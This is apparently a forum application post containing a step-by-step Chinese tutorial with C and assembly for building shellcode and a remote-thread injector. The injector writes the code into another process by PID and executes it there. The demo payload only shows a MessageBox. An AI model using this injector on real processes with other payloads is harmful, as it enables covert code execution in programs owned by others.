申请ID:BUGS3-GTO
个人邮箱:393803933@qq.com
原创技术文章:手写一个注入工具
对吾爱破解向往很久了~~
【步骤一】 编写二进制代码,弹出MessageBox对话框,并测试运行之。 要求:首先编写汇编代码片段完成以下功能:调用MessageBoxA()函数弹出一个对话框,显示“I’m hacked!”字符串。然后请提取出这些汇编代码的二进制编码,放到一个全局字符数组char code[]中,并测试运行之,确保无误。 [C] 纯文本查看 复制代码 #include<windows.h>
char *s = "I'm hacked!";
char code[]={
0x6A,0x00,
0x68,0x04,0xA0,0x40,0x00,
0x68,0x04,0xA0,0x40,0x00,
0x6A,0x00,
0xFF,0x15,0x08,0x71,0x40,0x00
,0xc3
};
void main()
{
int op;
MessageBoxA(0,s,s, MB_OK);
VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
__asm{
call offset code
}
}
【步骤二】 请修改步骤一中生成的放置在char code[]中的二进制代码,使这段代码在运行时不依赖产生代码进程中的全局字符串。例如在步骤一参考测试程序 test.c中,不能再使用char *s = "I'm hacked!"这样的全局字符串。本步骤要求正确提取二进制代码数组,并且使用test.c测试运行。
[C] 纯文本查看 复制代码 #include<windows.h>
char code[]={
0x55,//push ebp
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x45,0xe8,//lea eax,[ebp-18]
0x6A,0x00,//push 0
0x50,//push eax
0x50,//push eax
0x6a,0x00,//push 0
0xff,0x15,0x08,0x71,0x40,0x00,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3//retn
};
//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
__declspec(naked) void main()
{
int op;
__asm{
push ebp
mov ebp,esp
sub esp,0x20
mov [ebp-0x18],'I'
mov [ebp-0x17],'\''
mov [ebp-0x16],'m'
mov [ebp-0x15],' '
mov [ebp-0x14],'h'
mov [ebp-0x13],'a'
mov [ebp-0x12],'c'
mov [ebp-0x11],'k'
mov [ebp-0x10],'e'
mov [ebp-0x0f],'d'
mov [ebp-0x0e],'!'
mov [ebp-0x0d],0x0
lea eax,[ebp-0x18]
push 0x0
push eax
push eax
push 0x0
call dword ptr [MessageBoxA]
add esp,0x20
mov esp,ebp
pop ebp
}
VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
__asm{
call offset code
retn
}
}
【步骤三】 考虑到远程进程的内存空间中可能还没有加载user32.dll,即没有MessageBoxA函数,无法让二进制代码来调用。为了能够使二进制代码在远程进程中正确运行,需要在二进制代码中添加新的指令,来调用LoadLibraryA()与GetProcAddress()等系统API函数来动态加载user32.dll,(0x0040926a)基址?0x00407000 并且得到MessageBoxA函数的地址。请进一步完善保存在char code[]中的二进制代码,使之在user32.dll未加载的情况下,仍然能够正确弹出MessageBox对话框,最后请测试运行。
[C] 纯文本查看 复制代码 #include<windows.h>
char code[]={
0x55,//push ebp////LoadLibraryA("user32.dll");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x75,
0xc6,0x45,0xe9,0x73,
0xc6,0x45,0xea,0x65,
0xc6,0x45,0xeb,0x72,
0xc6,0x45,0xec,0x33,
0xc6,0x45,0xed,0x32,
0xc6,0x45,0xee,0x2e,
0xc6,0x45,0xef,0x64,
0xc6,0x45,0xf0,0x6c,
0xc6,0x45,0xf1,0x6c,
0xc6,0x45,0xf2,0x00,
0x8d,0x45,0xe8,//lea eax,[ebp-18]
0x50,//push eax
0xb8,0x64,0x28,0xa0,0x75,
0xff,0xd0,//call eax
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////GetProcAddress(hModUser32,"MessageBoxA");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x4d,
0xc6,0x45,0xe9,0x65,
0xc6,0x45,0xea,0x73,
0xc6,0x45,0xeb,0x73,
0xc6,0x45,0xec,0x61,
0xc6,0x45,0xed,0x67,
0xc6,0x45,0xee,0x65,
0xc6,0x45,0xef,0x42,
0xc6,0x45,0xf0,0x6f,
0xc6,0x45,0xf1,0x78,
0xc6,0x45,0xf2,0x41,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x51,//push eax
0x50,
0xb8,0x37,0x18,0xa0,0x75,
0xff,0xd0,
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x6a,0x00,//push 0
0x51,
0x51,
0x6a,0x00,
0xff,0xd0,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3
};
//告诉编译器,汇编代码是自己写的,编译器不要添加任何代码
__declspec(naked) void main()
{
int op;
__asm{//LoadLibraryA("user32.dll");
push ebp
mov ebp,esp
sub esp,0x20
mov [ebp-0x18],'u'
mov [ebp-0x17],'s'
mov [ebp-0x16],'e'
mov [ebp-0x15],'r'
mov [ebp-0x14],'3'
mov [ebp-0x13],'2'
mov [ebp-0x12],'.'
mov [ebp-0x11],'d'
mov [ebp-0x10],'l'
mov [ebp-0x0f],'l'
mov [ebp-0x0e],0x0
lea eax,[ebp-0x18]
push eax
mov eax,0x75a02864
call eax
add esp,0x20
mov esp,ebp
pop ebp
}
__asm{//GetProcAddress(hModUser32,"MessageBoxA");
push ebp
mov ebp,esp
sub esp,0x20
mov [ebp-0x18],'M'
mov [ebp-0x17],'e'
mov [ebp-0x16],'s'
mov [ebp-0x15],'s'
mov [ebp-0x14],'a'
mov [ebp-0x13],'g'
mov [ebp-0x12],'e'
mov [ebp-0x11],'B'
mov [ebp-0x10],'o'
mov [ebp-0x0f],'x'
mov [ebp-0x0e],'A'
mov [ebp-0x0d],0x0
lea ecx,[ebp-0x18]
push ecx
push eax
mov eax,0x75a01837
call eax
add esp,0x20
mov esp,ebp
pop ebp
}
__asm{//MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
push ebp
mov ebp,esp
sub esp,0x20
mov [ebp-0x18],'I'
mov [ebp-0x17],'\''
mov [ebp-0x16],'m'
mov [ebp-0x15],' '
mov [ebp-0x14],'h'
mov [ebp-0x13],'a'
mov [ebp-0x12],'c'
mov [ebp-0x11],'k'
mov [ebp-0x10],'e'
mov [ebp-0x0f],'d'
mov [ebp-0x0e],'!'
mov [ebp-0x0d],0x0
lea ecx,[ebp-0x18]
push 0x0
push ecx
push ecx
push 0x0
call eax
add esp,0x20
mov esp,ebp
pop ebp
}
VirtualProtect(&code[0],sizeof(code),PAGE_EXECUTE_READWRITE,&op);
__asm{
call offset code
retn
}
}
【步骤四】:请编写注入器代码inj.c,将步骤三产生的二进制代码,即char code[]数组,注入到某一进程中,并创建远程线程运行之。
[C] 纯文本查看 复制代码 #include <windows.h>
BYTE code[]={
0x55,//push ebp////LoadLibraryA("user32.dll");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x75,
0xc6,0x45,0xe9,0x73,
0xc6,0x45,0xea,0x65,
0xc6,0x45,0xeb,0x72,
0xc6,0x45,0xec,0x33,
0xc6,0x45,0xed,0x32,
0xc6,0x45,0xee,0x2e,
0xc6,0x45,0xef,0x64,
0xc6,0x45,0xf0,0x6c,
0xc6,0x45,0xf1,0x6c,
0xc6,0x45,0xf2,0x00,
0x8d,0x45,0xe8,//lea eax,[ebp-18]
0x50,//push eax
0xb8,0x64,0x28,0xa0,0x75,
0xff,0xd0,//call eax
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////GetProcAddress(hModUser32,"MessageBoxA");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x4d,
0xc6,0x45,0xe9,0x65,
0xc6,0x45,0xea,0x73,
0xc6,0x45,0xeb,0x73,
0xc6,0x45,0xec,0x61,
0xc6,0x45,0xed,0x67,
0xc6,0x45,0xee,0x65,
0xc6,0x45,0xef,0x42,
0xc6,0x45,0xf0,0x6f,
0xc6,0x45,0xf1,0x78,
0xc6,0x45,0xf2,0x41,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x51,//push eax
0x50,
0xb8,0x37,0x18,0xa0,0x75,
0xff,0xd0,
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x6a,0x00,//push 0
0x51,
0x51,
0x6a,0x00,
0xff,0xd0,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3
};
int main(int argc, char *argv[])
{
int PID = 0;
HANDLE hProcess = 0;
PBYTE pCodeRemote = NULL;
DWORD dwNumBytesXferred = 0;
PBYTE pCode = NULL;
DWORD dwSizeOfCode = 0;
HANDLE hThread = 0;
DWORD dwThreadId = 0;
int exitcode = 0;
if (argc < 2) {
printf("Usage: %s pid\n", argv[0]);
return -1;
}
PID = atoi(argv[1]);
if (PID <= 0) {
printf("[E]: pid should be greater than zero!\n");
return -1;
}
pCode = (PBYTE)code;
dwSizeOfCode = sizeof(code);
//打开远程进程
printf("[I]: Opening remote process %d......", PID);
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ,
FALSE, PID);
if (hProcess == NULL) {
printf("failed.\n");
return -1;
}
printf("ok.\n");
//分配远程地址空间
printf("[I]: Allocating remote memory with size of 0x%08x ......",
dwSizeOfCode);
pCodeRemote = (PBYTE) VirtualAllocEx(hProcess,
0,
dwSizeOfCode,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (pCodeRemote == NULL) {
printf("failed.\n");
CloseHandle(hProcess);
return -1;
}
printf("ok at 0x%08x.\n", pCodeRemote);
//将code[]注入远程进程
printf("[I]: Writing code ......");
if (WriteProcessMemory(hProcess,
pCodeRemote,
pCode,
dwSizeOfCode,
&dwNumBytesXferred) == 0) {
printf("failed.\n");
VirtualFreeEx(hProcess, pCodeRemote,
dwSizeOfCode, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
};
printf("ok (%d bytes were written).\n", dwNumBytesXferred);
//创建远程线程
printf("[I]: Creating a remote thread ......");
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE) pCodeRemote,
pCodeRemote, 0 , &dwThreadId);
if (hThread == 0) {
printf("failed.\n");
if ( pCodeRemote != 0 )
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
if ( hThread != 0 )
CloseHandle(hThread);
return -1;
}
printf("ok.\n");
//等待远程线程执行
printf("[I]: Waiting the remote thread ......");
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD) &exitcode);
//退出
printf("exited with 0x%08X\n", exitcode);
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
【步骤五】:由于每次系统重启后,进程空间中kernel32.dll加载的基地址都会发生变化,因此LoadLibraryA()与GetProcAddress()系统API的地址不是个固定值,它们的入口地址会在关机重启后发生变化。这样一来,事先做好的二进制代码将会再次无法运行。请在步骤四的基础上继续改进程序,使得注入程序能够自动寻找它们的入口地址,并且自动修正二进制代码中这两个函数的入口地址。
[C] 纯文本查看 复制代码 #include <windows.h>
BYTE code[]={
0x55,//push ebp////LoadLibraryA("user32.dll");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x75,
0xc6,0x45,0xe9,0x73,
0xc6,0x45,0xea,0x65,
0xc6,0x45,0xeb,0x72,
0xc6,0x45,0xec,0x33,
0xc6,0x45,0xed,0x32,
0xc6,0x45,0xee,0x2e,
0xc6,0x45,0xef,0x64,
0xc6,0x45,0xf0,0x6c,
0xc6,0x45,0xf1,0x6c,
0xc6,0x45,0xf2,0x00,
0x8d,0x45,0xe8,//lea eax,[ebp-18]
0x50,//push eax
//0xb8,0x64,0x28,0xa0,0x75,
0xb8,0xaa,0xbb,0xaa,0xbb,//地址改成0xaabbaabb
0xff,0xd0,//call eax
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////GetProcAddress(hModUser32,"MessageBoxA");
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x4d,
0xc6,0x45,0xe9,0x65,
0xc6,0x45,0xea,0x73,
0xc6,0x45,0xeb,0x73,
0xc6,0x45,0xec,0x61,
0xc6,0x45,0xed,0x67,
0xc6,0x45,0xee,0x65,
0xc6,0x45,0xef,0x42,
0xc6,0x45,0xf0,0x6f,
0xc6,0x45,0xf1,0x78,
0xc6,0x45,0xf2,0x41,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x51,//push eax
0x50,
//0xb8,0x37,0x18,0xa0,0x75,
0xb8,0xaa,0xbb,0xaa,0xbb,//地址改成0xaabbaabb
0xff,0xd0,
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
//0xc3
0x55,//push ebp////MessageBoxA(0,"I'm hacked!","I'm hacked!",MB_OK);
0x8b,0xec,//mov ebp,esp
0x83,0xec,0x20,//sub esp,20
0xc6,0x45,0xe8,0x49,
0xc6,0x45,0xe9,0x27,
0xc6,0x45,0xea,0x6d,
0xc6,0x45,0xeb,0x20,
0xc6,0x45,0xec,0x68,
0xc6,0x45,0xed,0x61,
0xc6,0x45,0xee,0x63,
0xc6,0x45,0xef,0x6b,
0xc6,0x45,0xf0,0x65,
0xc6,0x45,0xf1,0x64,
0xc6,0x45,0xf2,0x21,
0xc6,0x45,0xf3,0x00,
0x8d,0x4d,0xe8,//lea eax,[ebp-18]
0x6a,0x00,//push 0
0x51,
0x51,
0x6a,0x00,
0xff,0xd0,//call
0x83,0xc4,0x20,//add esp,0x20
0x8b,0xe5,//mov esp,ebp
0x5d,//pop ebp
0xc3
};
int main(int argc, char *argv[])
{
int PID = 0;
HANDLE hProcess = 0;
PBYTE pCodeRemote = NULL;
DWORD dwNumBytesXferred = 0;
PBYTE pCode = NULL;
DWORD dwSizeOfCode = 0;
HANDLE hThread = 0;
DWORD dwThreadId = 0;
int exitcode = 0;
*(int *)(code+55) =(int)LoadLibraryA;
*(int *)(code+127) =(int)GetProcAddress;
if (argc < 2) {
printf("Usage: %s pid\n", argv[0]);
return -1;
}
PID = atoi(argv[1]);
if (PID <= 0) {
printf("[E]: pid should be greater than zero!\n");
return -1;
}
pCode = (PBYTE)code;
dwSizeOfCode = sizeof(code);
//打开远程进程
printf("[I]: Opening remote process %d......", PID);
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ,
FALSE, PID);
if (hProcess == NULL) {
printf("failed.\n");
return -1;
}
printf("ok.\n");
//分配远程地址空间
printf("[I]: Allocating remote memory with size of 0x%08x ......",
dwSizeOfCode);
pCodeRemote = (PBYTE) VirtualAllocEx(hProcess,
0,
dwSizeOfCode,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (pCodeRemote == NULL) {
printf("failed.\n");
CloseHandle(hProcess);
return -1;
}
printf("ok at 0x%08x.\n", pCodeRemote);
//将code[]注入远程进程
printf("[I]: Writing code ......");
if (WriteProcessMemory(hProcess,
pCodeRemote,
pCode,
dwSizeOfCode,
&dwNumBytesXferred) == 0) {
printf("failed.\n");
VirtualFreeEx(hProcess, pCodeRemote,
dwSizeOfCode, MEM_RELEASE);
CloseHandle(hProcess);
return -1;
};
printf("ok (%d bytes were written).\n", dwNumBytesXferred);
//创建远程线程
printf("[I]: Creating a remote thread ......");
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE) pCodeRemote,
pCodeRemote, 0 , &dwThreadId);
if (hThread == 0) {
printf("failed.\n");
if ( pCodeRemote != 0 )
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
if ( hThread != 0 )
CloseHandle(hThread);
return -1;
}
printf("ok.\n");
//等待远程线程执行
printf("[I]: Waiting the remote thread ......");
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD) &exitcode);
//退出
printf("exited with 0x%08X\n", exitcode);
VirtualFreeEx(hProcess, pCodeRemote, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
|